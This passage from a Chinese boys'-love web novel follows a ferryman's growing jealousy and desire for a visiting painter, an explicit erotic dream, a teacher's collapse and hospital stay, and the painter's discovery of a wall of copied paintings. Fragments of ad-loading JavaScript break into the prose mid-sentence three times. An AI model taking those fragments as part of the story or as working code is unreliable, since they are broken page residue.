初澜看出他们应该是游客,微笑点头,而后把目光落到莫池脸上。 “回来了?”他声音不大,依旧温温润润很好听。 莫池没应声,幽沉沉的眼睛盯着初澜的手。 初澜意识到他是在看自己手上的烟,不知为何竟产生了一种做坏事被抓包的感觉,赶紧将那抽剩的半截烟熄灭了。 莫池这才把目光调开,推开院门将那伙大学生领了进去。 陈芳草见家里来了客人,也着急忙慌出门迎接,吩咐莫池抓紧时间给同学们办理入住,自己去厨房准备晚饭。 陈芳草性情耿直,在知道他们是大学生后,只收了很少的钱就给他们做了一大桌饭菜。 晚上一伙人围着桌子,边吃边嘻嘻哈哈地聊天,小院里充斥着欢声笑语。 穿民族服装的女孩招呼莫池来跟他们一起吃,莫池拒绝了,搬把椅子找了个相对清净的角落坐着,手里拎着瓶冰啤酒。 从这个角度,他可以直接看到初澜房间的阳台。 那里窗帘拉着,有光从里面隐隐透出来。 他就这样安静地看着窗帘,时不时仰头喝一口酒。 不远处的几个人原本还想再劝几句,让莫池加入他们,但被他身上的孤冷气场搞得不敢上前,只好作罢。 在差不多酒足饭饱时,留狼尾头的男生被一伙人推出来唱歌。 只见他抱着吉他,很有范地扫了下弦,换来一票欢呼。 懒懒散散地腔调随着琴声悠悠传开,散进风里—— “银色小船摇摇晃晃弯弯 悬在绒绒的天上 你的心事三三两两蓝蓝 停在我幽幽心上 你说情到深处人怎能不孤独 爱到浓时就牵肠挂肚 我的行李孤孤单单散散 惹惆怅 ……” 莫池又看了三楼的窗帘一眼,仰头喝尽最后一口酒,站起身,打算去厨房把事先给初澜留好的饭菜送上楼。 刚端着碗出来,就见初澜不知何时已经出现在大厅里。 留狼尾的男生站在他旁边,跟他说着什么,两人挨得很近。 初澜是来还碗的,之前陈芳草给他的桂花凉粉还剩了点,初澜不想麻烦她或是让莫池洗,便自己下了楼。 结果在楼梯口就遇到了刚上完洗手间的“小狼尾”。 “小狼尾”从方才在院外看到初澜起,就变得有些心不在焉。 便是被同学起哄唱歌时,脑子里也全都是那个在阳台抽烟的人。 这会儿碰到初澜,当即又是一阵悸动。 为了尽量表现的自然,他随便找了个话题问初澜:“同学,你手上那个甜品在哪儿买的?” 初澜被这声“同学”叫得愣了下,反应过来后道:“哦,就在店里,老板做的。” “莫老板做的?” “不是,他妈妈做的。”初澜牵唇解释,“就是给你们做晚饭的阿姨。” 小狼尾“哦”了声,仍杵在初澜面前,看着他的笑发呆。 正绞尽脑汁想着下面该怎么继续搭讪,一个高大的身影忽然出现在了初澜身后。 下一秒,一只手搭在了初澜肩上,不动声色地将他往自己跟前拉了拉。 初澜的后背虚虚贴向一个滚热结实的胸口,回头见是莫池,放松下来。 莫池的身上有股若有似无的小麦芽发酵味,应该是喝酒了。 他全程无视边上的“小狼尾”,垂眸睨向初澜,问:“下楼干嘛?” 语气有些沉,还有点强势。 初澜轻轻皱了下眉,但还是温声解释:“我洗碗。” 莫池直接从他手上接过碗:“不用。” 顿了下又问,“饿没?” 初澜摇头,他中午喝了好多鸡汤,下午又吃了桂花凉粉,这会儿还很饱。 “那也得吃东西,专门 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给你留了。” “好。”初澜笑笑,“我待会儿吃。” 莫池轻轻“嗯”了声,这才终于将视线移向边上的“小狼尾”。 不知为何,“小狼尾”总觉得这位莫老板看他的眼神里带着敌意。 而他对待眼前这人的态度,怎么都不像是在对待一般客人。 “小狼尾”默默吞了口唾沫:“老板,你家这个甜品…” “没了。”莫池打断,淡声道,“想吃得提前预约。” “这样啊。”小狼尾讪笑。 见对方还没离开的意思,莫池静了下:“还有事?” “啊,没有了!” 小狼尾说完,又悻悻然瞄了初澜一眼,自知有莫池在场,和初澜攀谈无望,只得臊眉耷眼地回院子里与同学们汇合了。 直到看着“小狼尾”走远后,莫池才将手从初澜肩上撤下来。 绕开他,端着碗进到厨房。 …… * 水龙头被开到很大,水花飞溅在莫池的脸上、胳膊和胸前。 他面无表情地刷着那只从初澜手上劫过的碗,眸色幽沉,眉头紧蹙。 脑海里全是刚才初澜跟“小狼尾”说话的场景,还有他冲对方微笑的样子。 初澜说他喜欢同性…… “小狼尾”的同学问“小狼尾”,初澜是不是他的菜…… 还有,“小狼尾”看初澜时的眼神…… 一股抑制不住的烦躁涌上心头。 像是有火苗直冲冲钻向嗓子眼,又窜到天灵盖,燎得他头疼。 莫池闭了闭眼,接着用湿漉漉的手去摸口袋里的香烟,叼了根在嘴里点燃,深深吸了口气。 再吐出时,那双黑漆漆的眼底已蒙上一层茫然的雾色。 ——他为什么要生气? 因为接受不了初澜喜欢男人? 真是这样,中午听他这么说的时候怎么不气? 不仅不气,还有些…… 因为“小狼尾”觊觎初澜? 因为初澜对“小狼尾”笑了。 一步步探寻到真相源头的莫池,嘴里的烟无声掉落水槽。 蹭过手背,像被蝎尾蛰了下。 莫池回神,发现水龙头不知何时已被人关上。 初澜站在他身侧,从他手上接过那只碗沥干,放进消毒柜。 “别浪费水。” 初澜教育道。 莫池看着他没搭腔,神情有些难辨。 初澜和莫池对视了会儿,忍不住问:“你有心事?” 莫池仍是不语。 初澜等了半天没等到答案,抬手轻轻搭了下莫池的肩,宽慰道:“没关系,不想说就不说。” 莫池看到初澜的唇边又泛起那抹轻浅的弧度。 像被晃到眼,转身收拾起灶台。 又隔了会儿,闷声说了句:“你别总那样笑。” 初澜不明所以,轻轻“啊?”了声。 莫池沉着脸又闭嘴了。 他其实想说的是,你别总那样对别人笑。 …… 24.碎梦 说到底还是年轻人精神头足。 住莫池旁边屋的是穿民族服装的女生和她男朋友,男朋友存在感很低,跟那伙吵吵闹闹的大学生待在一起时不怎么爱说话。 结果一到夜里,一整个活力四射起来。 莫池枕着一条胳膊躺在床上,听着隔壁的动静在短暂的休止后又卷土重来,很轻地皱了下眉。 此刻他无比庆幸当初没把初澜的房间安排在二楼。 初澜原本就睡不好,这样一闹怕是一整晚都别想安生。 初澜…… 这个名字一经出现,就又迅速占据了莫池整个大脑。 他一动不动地盯着天花板,眉头越拧越深。 ——在此之前,莫池一直都以为自己是把初澜当作神明一般看待。 敬重、崇拜、仰慕、少年时曾想过要与之并肩甚至赶超,后来不敢这么想了,便更将他视为高不可攀、神圣不容侵、犯的雪山。 究竟是从什么时候开始,他竟对初澜产生了占有欲? 想把这个人留在身边,想他的一颦一笑、所有情绪皆因自己而起。 一思及初澜终将会离开朔松江,就变得无比烦躁恐慌。 是在初澜冲“小狼尾”笑的时候? 还是自己生病,初澜替他擦身的时候。 或者是那次画背的时候就已经…… 又或许更早。 在他站在江边,回头看向自己第一眼的时候…… 隔壁的声音越来越高亢,吵得莫池心烦。 他抽了两张纸攒成团,一边一个塞进耳朵。 急促的摇床声被隔绝大半,莫池却在此时听到了另外一种噪音。 由内自外,毫无休止,难以招架。 是他的心跳。 …… 天快亮时,他总算靠着身体的疲惫,从乱七八糟的思绪里暂时解脱出来。 可紧接着就再度坠入一个极度荒唐糟糕的碎梦中—— 血色残阳将江面染成绮丽的色彩,芦苇在粘稠潮热的风中无声摇晃,天地铺满鲜艳的红纸。 他看到初澜从水中走来,穿过芦苇,脚下荡起层层波痕。 “龙腾纹”自他的脖颈蔓延至全身,顺着脊背、腰身落入某处隐秘,最后盘踞上那白皙细长的脚腕。 莫池想要避开视线,或是逃离,可身体却根本不受控制地僵立在原地。 初澜慢慢上岸,于是红色的图腾和白色的肌肤更加赤裸地呈现在莫池眼前。 下一秒,初澜伸出双手,从莫池腋下轻轻穿过,将他环抱。 那股好闻的草木气息顿时铺天盖地向莫池席卷开来。 只是不同于现实中的清冷,夹杂着一丝足以令人失控的甜腻。 像熟透了的果实,像至甘至醇的烈酒,不由分说灌入莫池喉头,让他彻底迷醉。 手一寸寸抚过无暇的肌肤,力度越来越重,抹化了对方身上红色的颜料。 莫池目不转睛地盯着那双湖泊般的眼睛,呼吸随着手上的动作更加沉促混乱。 他摸向初澜的脸颊,红色晕染在初澜唇边。 梦里的初澜并没有阻止自己的轻薄,反而伸出手覆盖在了他的手背上,用脸轻轻蹭了下莫池的掌心,啄吻了下。 这种默许和讨好让莫池变得更加大胆,手掌绕到初澜脑后扣紧,放肆地吻上他的唇瓣。 他听到初澜发出一声难耐地呢喃,像大脑发出了最后一个信号,终于彻底沦陷。 他撬开对方的唇齿,放肆深入,掠夺纠缠,血红的“龙腾纹”印在两具赤裸的身体上,象征神谕的图腾因为此时正在发生的事,变得妖冶暧昧。 初澜的身体像极了水草,柔中带韧,缠绕上莫池,让他的心脏都如同被捆绑一般剧烈收缩。 两人倒向丰茂的芦苇丛,惊起一只水鸟。 莫池将初澜压在浅滩上,手指穿入黑色的发丝,虚虚抓起一缕向后拉扯,初澜的脖颈也跟着牵引仰起,暴露出脆弱圆润的喉结。 莫池咬了上去,慢慢地吮吸、啃噬,换来初澜更加破碎的喘、息,也让莫池不断经受着来自破坏欲和心疼的双重考验。 然而即便如此,梦中的初澜也还是没有做出反抗,紧抱着莫池,冰凉的手沿着滚烫的脊背慢慢下划,来到莫池的后腰窝停住。 轻轻下按。 受到邀请的莫池,喉结顿时重重滚动,眼神彻底暗了。 他又看到了初澜浸着笑意的眼睛,抬手将他的眼蒙上。 吻落下的同时,将他贯入…… …… 莫池猛地睁开眼,屋外又在下雨,隔壁传来模糊不清的呓语和此起彼伏的鼾声。 他忽地从床上坐起身,胸口剧烈起伏着,在大汗淋漓中瞪大双眼,脸上写满了不可置信。 就这样又不知过了多久,他像是突然意识到了什么,猛地一下掀开被子。 “操…” 几乎是连滚带爬,莫池起身下床逃进卫生间,将淋浴调到冷水,劈头盖脸地浇了下来。 岛上用的是山泉水,即便在夏天也依然冰凉刺骨。 莫池就这样近乎自虐般冲着自己,后背重重抵向身后冰冷的瓷砖,慢慢闭上眼。 最终,像是自暴自弃似的,抬手朝下探去…… …… 天蒙蒙亮了,幽蓝的光从浴室上方那个狭小的气窗里透进来,洒在一具一动不动的身体上。 那人的身上还残留着水珠,不知道已经用这个姿势静默了多久。 他的手上夹着半截烟,时不时往嘴里递一口。 烟熏火燎间,幽冷的眼睛半睁着,暗不见底的眸子里充斥着一股浓到化不开的自我厌弃。 ——他在梦中,亵渎了他的神。 他怎么能,怎么敢,怎么配。 …… * 一楼的院子里传来动静。 炊烟袅袅,一股烧柴火味飘进房间。 初澜平静地睁开眼,起身穿衣洗漱。 他的眼里总是很清醒,没有寻常人刚睡醒后的惺忪感。 收拾完自己,初澜下了楼,像往常一样等着和莫池一起去码头。 莫池正背对着初澜在院子里浇花,炊烟是从厨房飘来的。 大学生们还没醒,陈芳草已经在做饭了。 初澜朝莫池走去,抬手扶他的肩,想跟莫池打声招呼。 手刚碰到对方的瞬间,莫池便一下弹开了。 浇花用的塑胶水管一时没对准,喷了些在初澜衣服上,初澜也连忙向后退了半步,眼神带上不解。 “吓到你了?” 莫池再次将水管调回那些花上,背过身,稍停片刻后才低低说了句“没有”。 初澜看着他站得笔挺的背影,总觉得对方浑身都像在紧绷,刚刚看自己的状态也有些躲闪。 初澜轻皱了下眉:“怎么了。” 用的是陈述句。 莫池还是没有立刻搭话,边浇花边又沉默了一会儿:“你先去把衣服换了。” “没关系。”初澜笑笑, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “过会儿就干了。” “换一下,放在洗衣筐里,待会儿我洗。”不算商量的语气。 初澜有些无奈地点点头,转身回去换衣服。 等他走后,莫池才总算舒了口气。 ——刚刚初澜碰他的时候,梦中那些场景瞬间就又闪现出来。 纠缠的躯体、冰凉与滚烫的触感、好闻诱人的草木气息以及令人失控的细碎吟喃。 莫池使劲咬了下自己的舌尖,直到口腔里充斥满血腥气,才终于驱散了那些荒唐的画面。 他绝不能在清醒时,还怀着如此卑鄙肮脏的念头肖想初澜。 …… * 多数大学生都是一种昼伏夜出的生物,在莫池家民宿住的这伙人也是。 陈芳草做好了早饭见还没人起床,便将其放在锅里保温,只盛了初澜和莫池的,让他们赶紧吃完出去。 莫池这人平时就话少,今天更是格外沉默。 甚至全程都不看初澜一眼。 哪怕是总沉浸在自我世界,对周遭事物不怎么敏感的初澜都发现了这点。 在两人一同前往码头的路上,快追了几步赶上自顾自一个劲往前走的莫池,沉吟了下后问:“小池老板,是我做错什么事,让你不高兴了?” “不是。”这句莫池倒是回得很快,但眉间仍未舒展。 “是么。”初澜低喃了声,不再多言,也垂下眼眸专心走路。 莫池悄悄瞥了对方一眼,抿紧嘴唇。 不是初澜做错了什么。 是他做了不可原谅也不可描述的事。 大概真的到了旅游旺季,码头要渡江的人一茬接一茬。 很快莫池便投入到了工作中,初澜仍是坐在老位置,不声不响地望着江面。 极有耐心地看着天光一点点变亮,阳光一点点变耀眼,江水两岸一点点变得喧嚣起来。 在又把一批旅游团送返回绒子镇后,莫池将舱内的电风扇调大两档,让初澜在这里等他,自己下了船。 再回来时手上拿着两支奶油雪糕,一支递给初澜,自己坐回驾驶座,边看着码头上那些等待检票的游客,边撕开包装纸。 莫池吃雪糕是用咬的,纯属为了降温,没几口就只剩下雪糕棍。 再看初澜,小口小口,认认真真地细品,明明是很便宜的东西,愣是被他吃出了矜贵感。 不由自主地,莫池又被这样的初澜所吸引。 雪糕的奶味很重,风扇在头顶呼呼吹着,他似乎能闻到从对方身上散发出的甜丝丝的味道。 奶油因为高温很快融化了,初澜为了不弄脏手,在奶油快流到木棍上时,歪头轻轻舔了下雪糕的底端。 莫池看到了他的一点舌尖,卷着白色的奶油若隐若现地藏进口腔,咽了下去。 莫池感到喉头发紧,拧开边上放着的矿泉水一口气灌下大半瓶。 等初澜快把雪糕吃完时,又抽了张餐巾纸,把手伸到后面:“擦嘴。” 初澜接过将唇边的奶油擦干净,正要起身扔纸,莫池又把手伸了过来。 还是没回头。 初澜把纸递给他,莫池将其攥成团,扔进了旁边的垃圾篓。 空了的手虚虚抓了下,收回来握紧方向盘。 待到游客把船舱坐满后,莫池一拉发动杆。 船体调头。 空气里的味道很杂,但自始至终那股甜腻腻的奶油味都在他周围持续萦绕着…… 从鼻腔痒到心尖。 …… 25.掉马 当船行至江心时,莫池兜里的手机突然震动起来。 他腾出一只手将其掏出看了眼,是一串有些眼熟的座机号码。 但他一时也没想起是哪儿的,按下接通。 “莫池,我刘小兵!” 莫池在听到对方的声音后,神情立时沉了。 刘小兵,镇医院的医生。 “你待会儿靠岸了就先在那儿等着,胡晓峰老师在画画的时候晕倒了,从梯子上摔下来,幸好被村民发现正往码头送。” 对方语速很快,“我联系了钵仔,他电话打不通,你抓紧时间让唐军过来替你班,你跟着来医院,有手续要办。” 纵然莫池有一肚子疑问,也知道现在不是问的时候,简洁地说了句“好”,挂断电话。 果然,就在船即将靠岸的时候,他看到一伙人抬着张床板,朝码头匆匆赶来。 胡晓峰就躺在上面。 初澜也意识到了情况不对,船刚一停便抢先下船。 没多久唐军也到了,在跟他简单交待完几句后,莫池便去和码头的工作人员协调先临时加一班空船,送胡老师到镇上。 胡晓峰此时已经全然没意识了,照理说只是摔了一跤,也没磕着后脑勺,本不至于此。 初澜发现他的身上除了有泥土外,脸上、手上还有暗红色的血迹,且没有明显外伤,当即反应过来这些血可能是他吐的。应该是在用手捂嘴的时候,不小心从梯子上摔下来。 莫池将胡晓峰背上船,村民们也簇拥着要往舱里进,被他制止。 “用不了这么多人。” 唐军也赶忙帮腔:“是啊是啊,都先回吧!这么乌泱泱的到医院去也不合适!” 莫池又看了初澜一眼,嘴动了动。 初澜没给他开口的机会:“我给你打下手,你去跑手续的话,胡老师身边总得有人守着。” 初澜做事细致周到,莫池没再阻拦,点了下头。 …… * 这是初澜第二次来镇上的医院,第一次还是莫池替他解围受伤的时候。 走廊的温度比室外低很多,坐在那里甚至有点冷。 胡晓峰在路上又吐了回血,还是意识不清,一到医院就被刘小兵带着医护人员送进抢救室。 莫池本想跟着进,被刘小兵拦在外面。 “你再试着跟钵仔联系下。”刘小兵神情严肃,“胡老师情况不太乐观,有些事得直系亲属来拿决定。” “癌症恶化了么。”莫池问得很直接。 “还在查。”刘小兵抬头看向莫池黑漆漆的眼睛,终是叹了口气,实话实说,“应该是。你也知道咱们这儿医疗条件有限,但胡老师之前就一直不同意转院,说要优先保着生活质量。” 初澜走到莫池旁边,与之并排地问刘小兵:“转院可以延长多久生存期?我去联系宿城那边的医院。” “……” 刘小兵没说话。 莫池:“意义大么。” 刘小兵摘下眼镜,揉揉鼻侧,“起码比什么都不做强?虽然可能也强不了太多。” 他懊恼地一抓头发,“靠,我也不知道了,可能换我也跟胡老师一个选择吧……反正你尽快联系上钵仔,让他过来。就算胡老师电话里留的紧急联系人是你,但钵仔毕竟是他亲生的,你说对吧。” 刘小兵说完就进抢救室了,走廊上转眼只剩初澜和莫池两个。 莫池闭眼深吸口气,再睁开后对初澜低低交待了句:“我去打电话。” 初澜点头,莫池转身走向一旁拐角。 阳光在幽长的通道间做出明暗分割,初澜坐回长椅上,视线看向转角背对着他的莫池。 莫池高大的身影此刻显得有些倾颓,陷在阴暗里,一遍又一遍反复拨打电话。 在此之前,初澜一直以为莫池和胡晓峰只是因为住在一个岛上,所以认识。至多也就是胡晓峰曾经教过莫池。 毕竟看他们两人的状态,似乎除了客套也不怎么亲近。 直到刚才听了刘小兵的话,胡晓峰手机里的紧急联系人不是他儿子,而是莫池,这才明白莫池和胡晓峰的关系应该远比自己看到的更深。 钵仔的电话终于接通了,莫池跟他说话的声音压得很低,初澜听不清。 等对方挂了电话朝他走来,坐在自己旁边的椅子上后才问:“联系上了?” 莫池“嗯”了声:“他在外地出差,那边通勤不方便,坐最早一班火车也得两天一夜才能到。” 他顿了下,“这两天我得留在医院。” “我陪你。” “不用。”莫池拒绝,“你待会儿坐唐军的船回去,也帮我跟我妈说一声,让她别担心。” 见莫池态度坚决,初澜只得点头:“那我们保持联系。” …… * 初澜从医院出来的时候,才发现变天了。 室外狂风大作,卷的商铺门口那些招揽游客的广告牌“哐啷”作响。 朔松江面泛着波涛,天地几乎被挤压在了一起。 晕船的游客刚从船上下来就抱着垃圾桶一阵狂吐,来时明明还炎热的气温骤然下降了十几度。 初澜将衬衣领口立起,往上拽了拽,逆着那些冻得发抖的人群快步走向码头。 正打算开船的唐军隔着老远看到他,忙招手唤初澜赶紧上船。 这还是初澜头一次在如此恶劣的情况下坐船,看着黑滚滚的江水,只觉得胃里一个劲往上翻腾。 唐军也把船开得很谨慎,一边骂骂咧咧这鬼天气邪门,一边插空问初澜胡晓峰怎么样了。 初澜此时晕得厉害,额头浮起一层虚汗,手握成拳掐着掌心,但还是强压恶心跟唐军说了大概。 等靠了岸,唐军又看看天,面露难色地对初澜说:“初老师,可能还得辛苦您跑一趟。回去给莫池和胡老师拿几件厚衣服,我怕晚上天凉。” “好。” 唐军又看看天色:“八成待会儿就得停航,我在这儿等您,您快点。” 初澜点了下头,也顾不上吐,使劲咽了口唾沫压制恶心,朝莫池家的方向跑去。 此时的陈芳草正站在院门口,焦急地探身张望。 看到初澜回来,急忙迎上去:“初老师,我听橹石湾的人说你们去医院了。怎么样,胡老师没事吧?” 她说着又往初澜身后找,“小池呢?” 初澜怕陈芳草担心,尽量将语气放得平缓道:“胡老师还在抢救室,莫池也在医院,今晚可能要留下来陪护。” “钵仔去了没有?” “在外地开会,已经往回赶了。” 陈芳草这才稍稍松了口气。 初澜又道:“变天了,要替莫池和胡老师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 找几件厚衣服,我给他们送去,唐军还在码头等。” “好好,我这就去!”陈芳草说着,匆匆转身回屋,初澜也一并跟上。 两人来到莫池房间,陈芳草打开衣柜从里面拿衣服。 莫池的衣服整体不算多,几乎都是同一种款式,被折得整整齐齐地放在柜子里,带着股洗衣粉的干净味道。 陈芳草给莫池挑了件厚外套,也另外给初澜找了一件,接着搬来椅子,扶墙踩了上去。 “他爸的衣服都被他收在上面,我找个给胡老师穿。” 陈芳草边说边打开最上层的柜子。 随着她的动作,一张照片从里面轻飘飘落了下来。 初澜弯腰拾起,在看到照片上的两个人后微微愣了下。 ——其中一个是莫池,看起来比现在小,五官都更稚气些。 狼一般的眸子里依旧带着傲气,只是那时更多的是骄傲,而今则多了孤独。 站在他旁边的男人身材很挺拔结实,一条胳膊环过来勾在莫池脖子上,将他往自己跟前揽,呲着白牙笑得一脸灿烂。 莫池的表情冷冷的,但还是尽量配合地看向镜头。 大概是被男人或者拍照的人要求了,莫池的嘴角有些僵硬地上挑着。 有点别扭,还有点可爱。 “这是他爸。”陈芳草扭头见初澜在看照片,弯唇笑了下,“我男人。” “莫池长得像您。”初澜说,“身材像他爸爸。” “小池比我跟他爸都有文化,从小就聪明,很会读书……”陈芳草说着说着,眼眶有些泛红,最后半句更像是在自言自语道,“就是走错路了,但我相信他一定有他的原因。” “您是他的母亲,最了解他。” 陈芳草抽了下鼻子,继续翻找衣服。 莫池屋里的椅子不稳,大概是用的时间长了,陈芳草踩在上面稍微一动就晃,她不得不用另只手一直扶着墙壁。 初澜担心陈芳草摔着,让她下来,自己帮忙拿衣服。 他个子高,找起来方便。 “麻烦了啊,初老师。”陈芳草被初澜搀下来,换初澜站在椅子上。 放在最外侧的全是些夏天的短袖短裤,初澜挨个看过并没有合适的。 陈芳草提醒:“厚的应该在更里面。” 初澜探手又朝深处够。 莫池房间的衣柜是老式的,初澜半天摸不到底,只能稍微踮起脚。 就在他终于借着光,看到了那些折叠齐整的厚衣服,想将其搬出来时,脚下的椅子又是蓦地一摇。 陈芳草惊叫了声,连忙上前扶。 初澜下意识就去撑墙,手指攥着墙上的白布向下一扯,钉挂的布瞬间从墙壁剥落下来。 ——映入眼帘的,是满墙满壁的画。 就这么毫无预兆的暴露在初澜面前。 一排排、一列列……眼熟到初澜可以清晰说出每幅画都来自于自己的哪个创作阶段。 有的是他的代表作,有的很冷门,如果不是真的将他研究透彻,甚至不会知道。 临摹的手法也相当纯熟精湛,初澜甚至可以从这些画的路径上看出临摹者的成长。 从一开始完全模仿,到后面越来越像,最终派生出临摹者自己的技巧和感悟。 画得真好。 初澜怔住了。 ……